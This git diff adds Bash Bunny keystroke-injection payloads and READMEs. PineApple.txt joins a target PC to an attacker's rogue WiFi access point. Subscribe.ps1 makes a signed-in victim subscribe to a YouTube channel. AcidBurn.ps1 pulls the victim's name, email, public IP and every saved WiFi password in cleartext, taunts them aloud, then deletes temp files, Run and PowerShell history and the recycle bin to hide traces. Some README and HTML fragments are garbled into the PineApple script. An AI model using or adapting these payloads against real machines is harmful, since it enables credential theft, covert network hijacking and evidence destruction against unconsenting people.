+- Description
+- Getting Started
+- Contributing
+- Version History
+- Contact
+- Acknowledgments
++I am Jakoby
+ + + + + + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [MG](https://github.com/OMG-MG) + + + diff --git a/payloads/library/execution/-BB-Play-WAV/payload.txt b/payloads/library/execution/-BB-Play-WAV/payload.txt new file mode 100644 index 00000000..ab55ddec --- /dev/null +++ b/payloads/library/execution/-BB-Play-WAV/payload.txt @@ -0,0 +1,26 @@ +# Title: Play-WAV +# Description: This payload will download a WAV file, pause until a mouse movement is detected then play the sound effect +# Author: I am Jakoby +# Version: 1.0 +# Category: Execution +# Attackmodes: HID, Storage +# Target: Windows 10, 11 + +LED SETUP + +GET SWITCH_POSITION + +ATTACKMODE HID STORAGE + +LED STAGE1 + +QUACK DELAY 3000 +QUACK GUI r +QUACK DELAY 100 +LED STAGE2 +QUACK STRING powershell -NoP -NonI -W Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\Play-WAV.ps1')" +QUACK ENTER + + + + diff --git a/payloads/library/general/-BB-PineApple/PineApple.txt b/payloads/library/general/-BB-PineApple/PineApple.txt new file mode 100644 index 00000000..84544a3b --- /dev/null +++ b/payloads/library/general/-BB-PineApple/PineApple.txt @@ -0,0 +1,80 @@ + +REM Title: PineApple +REM Description: This payload is meant to use powershell to add the network profile of your wifi pineapple to the targets PC and connect to it +REM This version is a direct key stroke injection attack +REM Author: I am Jakoby +REM Target: Windows 10, 11 + +DELAY 3000 + +REM If the wifi pineapple SSID is detected target PC will connect to it + +GUI r +DELAY 500 +STRING powershell +DELAY 500 +ENTER + +DELAY 1000 + +STRING $profilefile="Home.xml"; +SHIFT ENTER +STRING $SSID="PineApple"; +SHIFT ENTER +STRING $SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join'' +SHIFT ENTER +DELAY 500 +STRING $xmlfile=" +SHIFT ENTER +STRING
+ + + + + + + + + + + + + + + + + + + + Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/BashBunny/Payloads/BB-Play-WAV) ++SHIFT ENTER +STRING +SHIFT ENTER +STRING " +SHIFT ENTER +STRING $XMLFILE > ($profilefile) +SHIFT ENTER +STRING netsh wlan add profile filename="$($profilefile)" +SHIFT ENTER +STRING netsh wlan connect name=$SSID +SHIFT ENTER +STRING reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f; Remove-Item (Get-PSreadlineOption).HistorySavePath + +DELAY 500 +ENTER diff --git a/payloads/library/general/-BB-PineApple/README.md b/payloads/library/general/-BB-PineApple/README.md new file mode 100644 index 00000000..c08c163a --- /dev/null +++ b/payloads/library/general/-BB-PineApple/README.md @@ -0,0 +1,95 @@ +![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true) + + +$SSID +SHIFT ENTER +STRING+SHIFT ENTER +STRING +SHIFT ENTER +STRING+SHIFT ENTER +STRING +SHIFT ENTER +STRING$SSIDHEX +SHIFT ENTER +STRING$SSID +SHIFT ENTER +STRINGESS +SHIFT ENTER +STRINGmanual +SHIFT ENTER +STRING+SHIFT ENTER +STRING +SHIFT ENTER +STRING+SHIFT ENTER +STRING +SHIFT ENTER +STRING+SHIFT ENTER +STRING +SHIFT ENTER +STRINGopen +SHIFT ENTER +STRINGnone +SHIFT ENTER +STRINGfalse +SHIFT ENTER +STRING++ +# PineApple + +A script used to connect a targets PC to your wifi PineApple + +## Description + +This program will generate an XML file that will be used to create a network profile for your Wifi PineApple. +The XML file will be manually entered into a powershell window +the powershell window and run box will be erased for a clean exit. + +## Getting Started + +### Dependencies + +* Windows 10,11 + + + +### Executing program + +* Plug in your device +* A one liner command in the run box will execute the script on the bash bunny + + + +## Contributing + +All contributors names will be listed here + +I am Jakoby + + + +## Version History + +* 0.1 + * Initial Release + + + + +## Contact + +Table of Contents
++
+- Description
+- Getting Started
+- Contributing
+- Version History
+- Contact
+- Acknowledgments
++I am Jakoby
+ + + + + + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [MG](https://github.com/OMG-MG) + + + + diff --git a/payloads/library/general/-BB-PineApple/payload.txt b/payloads/library/general/-BB-PineApple/payload.txt new file mode 100644 index 00000000..eb57a3a3 --- /dev/null +++ b/payloads/library/general/-BB-PineApple/payload.txt @@ -0,0 +1,20 @@ +# Title: PineApple +# Description: This payload is meant to use powershell to add the network profile of your wifi pineapple to the targets PC and connect to it +# Author: I am Jakoby +# Version: 1.0 +# Category: General +# Attackmodes: HID, Storage +# Target: Windows 10, 11 + +LED SETUP + +GET SWITCH_POSITION + +ATTACKMODE HID STORAGE + +LED STAGE1 + +QUACK DELAY 3000 +LED STAGE1 +QUACK ${SWITCH_POSITION}/PineApple.txt + diff --git a/payloads/library/general/-BB-Subscribe/README.md b/payloads/library/general/-BB-Subscribe/README.md new file mode 100644 index 00000000..17cbc25b --- /dev/null +++ b/payloads/library/general/-BB-Subscribe/README.md @@ -0,0 +1,93 @@ +![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true) + + +
+ + + + + + + + + + + + + + + + + + + + Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/BashBunny/Payloads/BB-PineApple) +++ +# Subscribe + +A script I put together to make your target subscribe to your youtube channel + +## Description + +This script is set to use powershell to open your youtube page in their browser where they will be prompted to follow you. +SPOILER: They will. + +## Getting Started + +### Dependencies + +* Windows 10,11 +* Your target will have to be signed into their youtube account + + + +### Executing program + +* Plug in your device +* A one liner command in the run box will execute the script on the bash bunny + + + +## Contributing + +All contributors names will be listed here + +I am Jakoby + + + +## Version History + +* 0.1 + * Initial Release + + + + +## Contact + +Table of Contents
++
+- Description
+- Getting Started
+- Contributing
+- Version History
+- Contact
+- Acknowledgments
++I am Jakoby
+ + + + + + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [MG](https://github.com/OMG-MG) + + diff --git a/payloads/library/general/-BB-Subscribe/Subscribe.ps1 b/payloads/library/general/-BB-Subscribe/Subscribe.ps1 new file mode 100644 index 00000000..f5cba269 --- /dev/null +++ b/payloads/library/general/-BB-Subscribe/Subscribe.ps1 @@ -0,0 +1,38 @@ +############################################################################################################################################################ +# | ___ _ _ _ # ,d88b.d88b # +# Title : Subscribe | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 # +# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' # +# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' # +# Category : General | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' # +# Target : Windows 10,11 | |___/ # /\/|_ __/\\ # +# Mode : HID | |\__/,| (`\ # / -\ /- ~\ # +# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / # +# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo # +# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ # +#__________________________________|_________________________________________________________________________# | | ) ~ ( # +# # / \ / ~ \ # +# github.com/I-Am-Jakoby # \ / \~ ~/ # +# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_# +# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |# +# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |# +############################################################################################################################################################ + +<# +.DESCRIPTION + This program is designed to get your target to subscribe to your youtube channel +#> +############################################################################################################################################# + +# Enter your youtube channel URL here, but you should test this script with my URL first ;D + +$channel = "https://www.youtube.com/iamjakoby" + +Add-Type -AssemblyName System.Windows.Forms +$o=New-Object -ComObject WScript.Shell +$url = -join($channel,"?sub_confirmation=1") +Start-Process $url +Start-Sleep -Seconds 3 +[System.Windows.Forms.SendKeys]::SendWait('{TAB}'*2) +[System.Windows.Forms.SendKeys]::SendWait('{ENTER}') +Start-Sleep -Seconds 1 +[System.Windows.Forms.SendKeys]::SendWait('%{F4}') diff --git a/payloads/library/general/-BB-Subscribe/payload.txt b/payloads/library/general/-BB-Subscribe/payload.txt new file mode 100644 index 00000000..be15ae49 --- /dev/null +++ b/payloads/library/general/-BB-Subscribe/payload.txt @@ -0,0 +1,22 @@ +# Title: Subscribe +# Description: This payload is meant to make your target subscribe to your youtube channel +# Author: I am Jakoby +# Version: 1.0 +# Category: General +# Attackmodes: HID, Storage +# Target: Windows 10, 11 + +LED SETUP + +GET SWITCH_POSITION + +ATTACKMODE HID STORAGE + +LED STAGE1 + +QUACK DELAY 3000 +QUACK GUI r +QUACK DELAY 100 +LED STAGE2 +QUACK STRING powershell -NoP -NonI -W Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\Subscribe.ps1')" +QUACK ENTER diff --git a/payloads/library/prank/-BB-AcidBurn/AcidBurn.ps1 b/payloads/library/prank/-BB-AcidBurn/AcidBurn.ps1 new file mode 100644 index 00000000..99357379 --- /dev/null +++ b/payloads/library/prank/-BB-AcidBurn/AcidBurn.ps1 @@ -0,0 +1,704 @@ +############################################################################################################################################################ +# | ___ _ _ _ # ,d88b.d88b # +# Title : AcidBurn | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 # +# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' # +# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' # +# Category : Prank | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' # +# Target : Windows 7,10,11 | |___/ # /\/|_ __/\\ # +# Mode : HID | |\__/,| (`\ # / -\ /- ~\ # +# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / # +# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo # +# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ # +#__________________________________|_________________________________________________________________________# | | ) ~ ( # +# # / \ / ~ \ # +# github.com/I-Am-Jakoby # \ / \~ ~/ # +# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_# +# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |# +# youtube.com/c/IamJakoby (youtube link with demonstration coming soon) # | | | |( ( | | | \\ | | | | | |# +############################################################################################################################################################ + +<# +.NOTES + This script was not optimized to shorten the code. This script is intended to have as much readablility as possible for new coders to learn. + +.DESCRIPTION + This program gathers details from target PC to include Operating System, RAM Capacity, Public IP, and Email associated with microsoft account. + The SSID and WiFi password of any current or previously connected to networks. + It determines the last day they changed thier password and how many days ago. + Once the information is gathered the script will pause until a mouse movement is detected + Then the script uses Sapi speak to roast their set up and lack of security +#> +############################################################################################################################################################ + +# Variables + + +$s=New-Object -ComObject SAPI.SpVoice + +############################################################################################################################################################ + +# Intro --------------------------------------------------------------------------------------------------- + function Get-fullName { + + try { + + $fullName = Net User $Env:username | Select-String -Pattern "Full Name";$fullName = ("$fullName").TrimStart("Full Name") + + } + + # If no name is detected function will return $env:UserName + + # Write Error is just for troubleshooting + catch {Write-Error "No name was detected" + return $env:UserName + -ErrorAction SilentlyContinue + } + + return $fullName + +} + +$fullName = Get-fullName + +# echo statement used to track progress while debugging +echo "Intro Done" + +########################################################################################################### + +<# + +.NOTES + RAM Info + This will get the amount of RAM the target computer has +#> + + +function Get-RAM { + + try { + + $OS = (Get-WmiObject Win32_OperatingSystem).Name;$OSpos = $OS.IndexOf("|");$OS = $OS.Substring(0, $OSpos) + + $RAM=Get-WmiObject Win32_PhysicalMemory | Measure-Object -Property capacity -Sum | % { "{0:N1}" -f ($_.sum / 1GB)} + $RAMpos = $RAM.IndexOf('.') + $RAM = [int]$RAM.Substring(0,$RAMpos).Trim() + +# ENTER YOUR CUSTOM RESPONSES HERE +#---------------------------------------------------------------------------------------------------- + $lowRAM = "$RAM gigs of ram? might as well use pen and paper" + + $okRAM = "$RAM gigs of ram really? I have a calculator with more computing power" + + $goodRAM = "$RAM gigs of ram? Can almost guarantee you have a light up keyboard.. you are a wanna be streamer huh?" + + $impressiveRAM = "$RAM gigs of ram? are you serious? a super computer with no security that is funny right there" +#---------------------------------------------------------------------------------------------------- + + if($RAM -le 4){ + return $lowRAM + } elseif($RAM -ge 5 -and $RAM -le 12){ + return $okRAM + } elseif($RAM -ge 13 -and $RAM -le 24){ + return $goodRAM + } else { + return $impressiveRAM + } + + } + + # If one of the above parameters is not detected function will return $null to avoid sapi speak + + # Write Error is just for troubleshooting + catch {Write-Error "Error in search" + return $null + -ErrorAction SilentlyContinue + } +} + +# echo statement used to track progress while debugging +echo "RAM Info Done" + +########################################################################################################### + +<# + +.NOTES + Public IP + This will get the public IP from the target computer +#> + + +function Get-PubIP { + + try { + + $computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content + + } + + # If no Public IP is detected function will return $null to avoid sapi speak + + # Write Error is just for troubleshooting + catch {Write-Error "No Public IP was detected" + return $null + -ErrorAction SilentlyContinue + } + + return "your public I P address is $computerPubIP" +} + +# echo statement used to track progress while debugging +echo "Pub IP Done" + +########################################################################################################### + +<# + +.NOTES + Wifi Network and Password + This function will custom a tailor response based on how many characters long their password is +#> + + +function Get-Pass { + + #-----VARIABLES-----# + # $pwl = their Pass Word Length + # $pass = their Password + + try { + + $pro = netsh wlan show interface | Select-String -Pattern ' SSID '; $pro = [string]$pro + $pos = $pro.IndexOf(':') + $pro = $pro.Substring($pos+2).Trim() + + $pass = netsh wlan show profile $pro key=clear | Select-String -Pattern 'Key Content'; $pass = [string]$pass + $passPOS = $pass.IndexOf(':') + $pass = $pass.Substring($passPOS+2).Trim() + + if($pro -like '*_5GHz*') { + $pro = $pro.Trimend('_5GHz') + } + + $pwl = $pass.length + + + } + + # If no network is detected function will return $null to avoid sapi speak + + # Write Error is just for troubleshooting + catch {Write-Error "No network was detected" + return $null + -ErrorAction SilentlyContinue + } + + +# ENTER YOUR CUSTOM RESPONSES HERE +#---------------------------------------------------------------------------------------------------- + $badPASS = "$pro is not a very creative name but at least it is not as bad as your wifi password... only $pwl characters long? $pass ...? really..? $pass was the best you could come up with?" + + $okPASS = "$pro is not a very creative name but at least you are trying a little bit, your password is $pwl characters long, still trash though.. $pass ...? You can do better" + + $goodPASS = "$pro is not a very creative name but At least you are not a total fool... $pwl character long password actually is not bad, but it did not save you from me did it? no..it..did..not! $pass is a decent password though." +#---------------------------------------------------------------------------------------------------- + + if($pass.length -lt 8) { return $badPASS + + }elseif($pass.length -gt 7 -and $pass.length -lt 12) { return $okPASS + + }else { return $goodPASS + + } +} + +# echo statement used to track progress while debugging +echo "Wifi pass Done" + +########################################################################################################### + +<# + +.NOTES + All Wifi Networks and Passwords + This function will gather all current Networks and Passwords saved on the target computer + They will be save in the temp directory to a file named with "$env:USERNAME-$(get-date -f yyyy-MM-dd)_WiFi-PWD.txt" +#> + +Function Get-Networks { +# Get Network Interfaces +$Network = Get-WmiObject Win32_NetworkAdapterConfiguration | where { $_.MACAddress -notlike $null } | select Index, Description, IPAddress, DefaultIPGateway, MACAddress | Format-Table Index, Description, IPAddress, DefaultIPGateway, MACAddress + +# Get Wifi SSIDs and Passwords +$WLANProfileNames =@() + +#Get all the WLAN profile names +$Output = netsh.exe wlan show profiles | Select-String -pattern " : " + +#Trim the output to receive only the name +Foreach($WLANProfileName in $Output){ + $WLANProfileNames += (($WLANProfileName -split ":")[1]).Trim() +} +$WLANProfileObjects =@() + +#Bind the WLAN profile names and also the password to a custom object +Foreach($WLANProfileName in $WLANProfileNames){ + + #get the output for the specified profile name and trim the output to receive the password if there is no password it will inform the user + try{ + $WLANProfilePassword = (((netsh.exe wlan show profiles name="$WLANProfileName" key=clear | select-string -Pattern "Key Content") -split ":")[1]).Trim() + }Catch{ + $WLANProfilePassword = "The password is not stored in this profile" + } + + #Build the object and add this to an array + $WLANProfileObject = New-Object PSCustomobject + $WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfileName" -Value $WLANProfileName + $WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfilePassword" -Value $WLANProfilePassword + $WLANProfileObjects += $WLANProfileObject + Remove-Variable WLANProfileObject + return $WLANProfileObjects +} +} + +$Networks = Get-Networks + +Add-Type @" +using System; +using System.Runtime.InteropServices; +public class PInvoke { + [DllImport("user32.dll")] public static extern IntPtr GetDC(IntPtr hwnd); + [DllImport("gdi32.dll")] public static extern int GetDeviceCaps(IntPtr hdc, int nIndex); +} +"@ +$hdc = [PInvoke]::GetDC([IntPtr]::Zero) +$w = [PInvoke]::GetDeviceCaps($hdc, 118) # width +$h = [PInvoke]::GetDeviceCaps($hdc, 117) # height + +<# + +.NOTES + This will take the image you generated and set it as the targets wall paper +#> + +Function Set-WallPaper { + +<# + + .SYNOPSIS + Applies a specified wallpaper to the current user's desktop + + .PARAMETER Image + Provide the exact path to the image + + .PARAMETER Style + Provide wallpaper style (Example: Fill, Fit, Stretch, Tile, Center, or Span) + + .EXAMPLE + Set-WallPaper -Image "C:\Wallpaper\Default.jpg" + Set-WallPaper -Image "C:\Wallpaper\Background.jpg" -Style Fit + +#> + + +param ( + [parameter(Mandatory=$True)] + # Provide path to image + [string]$Image, + # Provide wallpaper style that you would like applied + [parameter(Mandatory=$False)] + [ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')] + [string]$Style +) + +$WallpaperStyle = Switch ($Style) { + + "Fill" {"10"} + "Fit" {"6"} + "Stretch" {"2"} + "Tile" {"0"} + "Center" {"0"} + "Span" {"22"} + +} + +If($Style -eq "Tile") { + + New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force + New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 1 -Force + +} +Else { + + New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force + New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 0 -Force + +} + +Add-Type -TypeDefinition @" +using System; +using System.Runtime.InteropServices; + +public class Params +{ + [DllImport("User32.dll",CharSet=CharSet.Unicode)] + public static extern int SystemParametersInfo (Int32 uAction, + Int32 uParam, + String lpvParam, + Int32 fuWinIni); +} +"@ + + $SPI_SETDESKWALLPAPER = 0x0014 + $UpdateIniFile = 0x01 + $SendChangeEvent = 0x02 + + $fWinIni = $UpdateIniFile -bor $SendChangeEvent + + $ret = [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni) +} + +############################################################################################################################################# + +Function WallPaper-Troll { + +if (!$Networks) { Write-Host "variable is null" +}else { + + # This is the name of the file the networks and passwords are saved + + $FileName = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_WiFi-PWD.txt" + + ($Networks| Out-String) >> $Env:temp\$FileName + + $content = [IO.File]::ReadAllText("$Env:temp\$FileName") + + +# this is the message that will be coded into the image you use as the wallpaper + + $hiddenMessage = "`n`nMy crime is that of curiosity `nand yea curiosity killed the cat `nbut satisfaction brought him back `n with love -Jakoby" + +# this will be the name of the image you use as the wallpaper + + $ImageName = "dont-be-suspicious" + +<# + +.NOTES + This will get take the information gathered and format it into a .jpg +#> + + Add-Type -AssemblyName System.Drawing + + $filename = "$env:tmp\foo.jpg" + $bmp = new-object System.Drawing.Bitmap $w,$h + $font = new-object System.Drawing.Font Consolas,18 + $brushBg = [System.Drawing.Brushes]::White + $brushFg = [System.Drawing.Brushes]::Black + $graphics = [System.Drawing.Graphics]::FromImage($bmp) + $graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height) + $graphics.DrawString($content,$font,$brushFg,500,100) + $graphics.Dispose() + $bmp.Save($filename) + +# Invoke-Item $filename + +<# + +.NOTES + This will take your hidden message and use steganography to hide it in the image you use as the wallpaper + Then it will clean up the files you don't want to leave behind +#> + + echo $hiddenMessage > $Env:temp\foo.txt + cmd.exe /c copy /b "$Env:temp\foo.jpg" + "$Env:temp\foo.txt" "$Env:USERPROFILE\Desktop\$ImageName.jpg" + + rm $env:TEMP\foo.txt,$env:TEMP\foo.jpg -r -Force -ErrorAction SilentlyContinue + + +############################################################################################################################################# + + +# This will open up notepad with all their saved networks and passwords and taunt them + + + $s.Speak("wanna see something really cool?") + Set-WallPaper -Image "$Env:USERPROFILE\Desktop\$ImageName.jpg" -Style Center + $s.Speak("Look at all your other passswords I got..") + Start-Sleep -Seconds 1 + $s.Speak("These are the wifi passwords for every network you've ever connected to!") + Start-Sleep -Seconds 1 + $s.Speak("I could send them to myself but i wont") + +} + +# echo statement used to track progress while debugging +echo "All Wifi Passes Done" +} + + +########################################################################################################### + +<# + +.NOTES + Password last Set + This function will custom tailor a response based on how long it has been since they last changed their password +#> + + + function Get-Days_Set { + + #-----VARIABLES-----# + # $pls (password last set) = the date/time their password was last changed + # $days = the number of days since their password was last changed + + try { + + $pls = net user $env:UserName | Select-String -Pattern "Password last" ; $pls = [string]$pls + $plsPOS = $pls.IndexOf("e") + $pls = $pls.Substring($plsPOS+2).Trim() + $pls = $pls -replace ".{3}$" + $time = ((get-date) - (get-date "$pls")) ; $time = [string]$time + $DateArray =$time.Split(".") + $days = [int]$DateArray[0] + } + + # If no password set date is detected funtion will return $null to cancel Sapi Speak + + # Write Error is just for troubleshooting + catch {Write-Error "Day password set not found" + return $null + -ErrorAction SilentlyContinue + } + + +# ENTER YOUR CUSTOM RESPONSES HERE +#---------------------------------------------------------------------------------------------------- + $newPass = "$pls was the last time you changed your password... You changed your password $days days ago.. I have to applaud you.. at least you change your password often. Still did not stop me! " + + $avgPASS = "$pls was the last time you changed your password... it has been $days days since you changed your password, really starting to push it, i mean look i am here. that tells you something " + + $oldPASS = "$pls was the last time you changed your password... it has been $days days since you changed your password, you were basically begging me to hack you, well here i am! " +#---------------------------------------------------------------------------------------------------- + + if($days -lt 45) { return $newPass + + }elseif($days -gt 44 -and $days -lt 182) { return $avgPASS + + }else { return $oldPASS + + } +} + +# echo statement used to track progress while debugging +echo "Pass last set Done" + +########################################################################################################### + +<# + +.NOTES + Get Email + This function will custom tailor a response based on what type of email the target has +#> + +function Get-email { + + try { + + $email = GPRESULT -Z /USER $Env:username | Select-String -Pattern "([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})" -AllMatches;$email = ("$email").Trim() + + $emailpos = $email.IndexOf("@") + + $domain = $email.Substring($emailpos+1) #.TrimEnd(".com") + + } + +# If no email is detected function will return backup message for sapi speak + + # Write Error is just for troubleshooting + catch {Write-Error "An email was not found" + return "you're lucky you do not have your email connected to your account, I would have really had some fun with you then lol" + -ErrorAction SilentlyContinue + } + +# ENTER YOUR CUSTOM RESPONSES HERE +#---------------------------------------------------------------------------------------------------- + $gmailResponse = "At least you use G Mail.. we should be friends. If you are down just email me back, ill message you at $email. That is your email right?" + $yahooResponse = "a yahoo account seriously? you are either in your 50's or just got done doing some time, a lot of it.. $email .. this is sad" + $hotmailResponse = "really?. you have a hotmail account? $email .. I am sending this to the f b I they need to check your hard drive" + $otherEmailResponse = "I dead ass do not even know what this is.. $email .. hope you did not think it was safe" +#---------------------------------------------------------------------------------------------------- + + if($email -like '*gmail*') { return $gmailResponse + + }elseif($email -like '*yahoo*') { return $yahooResponse + + }elseif($email -like '*hotmail*') { return $hotmailResponse + + }else { return $otherEmailResponse} + + +} + +# echo statement used to track progress while debugging +echo "Email Done" + +########################################################################################################### + +<# + +.NOTES + Messages + This function will run all the previous functions and assign their outputs to variables +#> + +$intro = "$fullName , it has been a long time my friend" + +$RAMwarn = Get-RAM + +$PUB_IPwarn = Get-PubIP + +$PASSwarn = Get-Pass + +$LAST_PASSwarn = Get-Days_Set + +$EMAILwarn = Get-email + +$OUTRO = "My crime is that of curiosity.... and yea curiosity killed the cat.... but satisfaction brought him back.... later $fullName" + +# echo statement used to track progress while debugging +echo "Speak Variables set" + +########################################################################################################### + +# This turns the volume up to max level-------------------------------------------------------------------- + +$k=[Math]::Ceiling(100/2);$o=New-Object -ComObject WScript.Shell;for($i = 0;$i -lt $k;$i++){$o.SendKeys([char] 175)} + +# echo statement used to track progress while debugging +echo "Volume to max level" + +########################################################################################################### + +<# + +.NOTES + These two snippets are meant to be used as indicators to let you know the script is set up and ready + This will display a pop up window saying "hello $fullname" + Or this makes the CapsLock indicator light blink however many times you set it to + if you do not want the ready notice to pop up or the CapsLock light to blink comment them out below +#> + +# a popup will be displayed before freezing the script while waiting for the cursor to move to continue the script +# else capslock light will blink as an indicator +$popmessage = "Hello $fullName" + + +$readyNotice = New-Object -ComObject Wscript.Shell;$readyNotice.Popup($popmessage) + + +# caps lock indicator light +$blinks = 3;$o=New-Object -ComObject WScript.Shell;for ($num = 1 ; $num -le $blinks*2; $num++){$o.SendKeys("{CAPSLOCK}");Start-Sleep -Milliseconds 250} + + + +#----------------------------------------------------------------------------------------------------------- + +<# + +.NOTES + Then the script will be paused until the mouse is moved + script will check mouse position every indicated number of seconds + This while loop will constantly check if the mouse has been moved + "CAPSLOCK" will be continously pressed to prevent screen from turning off + it will then sleep for the indicated number of seconds and check again + when mouse is moved it will break out of the loop and continue theipt +#> + + +Add-Type -AssemblyName System.Windows.Forms +$originalPOS = [System.Windows.Forms.Cursor]::Position.X + + while (1) { + $pauseTime = 3 + if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){ + break + } + else { + $o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime + } + } +echo "it worked" + +########################################################################################################### + +# this is where your message is spoken line by line + +$s=New-Object -ComObject SAPI.SpVoice + +# This sets how fast Sapi Speaks + +$s.Rate = -1 + +$s.Speak($intro) + +$s.Speak($RAMwarn) + +$s.Speak($PUB_IPwarn) + +$s.Speak($PASSwarn) + +WallPaper-Troll + +$s.Speak($LAST_PASSwarn) + +$s.Speak($EMAILwarn) + +$s.Speak($OUTRO) + +########################################################################################################### + +# this snippet will leave a message on your targets desktop + +$message = "`nMy crime is that of curiosity `nand yea curiosity killed the cat `nbut satisfaction brought him back" + +Add-Content $home\Desktop\WithLove.txt $message +########################################################################################################### + +<# + +.NOTES + This is to clean up behind you and remove any evidence to prove you were there +#> + +# Delete contents of Temp folder + +rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue + +# Delete run box history + +reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f + +# Delete powershell history + +Remove-Item (Get-PSreadlineOption).HistorySavePath + +# Deletes contents of recycle bin + +Clear-RecycleBin -Force -ErrorAction SilentlyContinue + +#---------------------------------------------------------------------------------------------------- + +# This script repeadedly presses the capslock button, this snippet will make sure capslock is turned back off + +Add-Type -AssemblyName System.Windows.Forms +$caps = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock') + +#If true, toggle CapsLock key, to ensure that the script doesn't fail +if ($caps -eq $true){ + +$key = New-Object -ComObject WScript.Shell +$key.SendKeys('{CapsLock}') +} diff --git a/payloads/library/prank/-BB-AcidBurn/README.md b/payloads/library/prank/-BB-AcidBurn/README.md new file mode 100644 index 00000000..9e799ed1 --- /dev/null +++ b/payloads/library/prank/-BB-AcidBurn/README.md @@ -0,0 +1,112 @@ +![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true) + + +
+ + + + + + + + + + + + + + + + + + + + Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/BashBunny/Payloads/BB-Subscribe) +++ +# Acid Burn + +A script I put together to torment Call Center Scammers but can be used on your friends as well.. or Foes. + +## Description + +This program enumerates a target PC to include Operating System, RAM Capacity, Public IP, and Email associated with microsoft account. +The SSID and WiFi password of any current or previously connected to networks. +It determines the last day they changed thier password and how many days ago. +Once the information is gathered the script will pause until a mouse movement is detected +Then the script uses Sapi speak to roast their set up and lack of security +If wifi networks and passwords are detected wallpaper will be changed to image displaying that information +Image generated will be saved to desktop, steganography is used to put hidden message at bottom of binary output of image generated + +## Getting Started + +### Dependencies + +* Windows 10,11 + + + +### Executing program + +* Plug in your bash bunny +* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory +* Enumerate and get Full Name, Amount of RAM, Public IP, Wifi Password Length, Wifi Networks and Passwords, Day Password was last changed, Email +* Custom responses have been programmed to roast the target based on the information gathered during enumeration phase +* Wifi Networks and passwords will be generated into an image that will be saved on the desktop +* Image opened in notepad will reveal a hidden message at the bottom of the binary output +* Script will freeze until a mouse movement is detected +* Sapi Speak will be used to speak out loud the custom responses +* Desktop wallpaper will be changed to the image of the targets Wifi Networks and Passwords +* Text file will be left on the target desktop with whatever message you choose + +![alt text](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/BashBunny/Payloads/BB-AcidBurn/hacked-wallpaper.jpg) + + + +## Contributing + +All contributors names will be listed here + +I am Jakoby + +Arf + + + +## Version History + +* 0.1 + * Initial Release + + + + +## Contact + +Table of Contents
++
+- Description
+- Getting Started
+- Contributing
+- Version History
+- Contact
+- Acknowledgments
++I am Jakoby
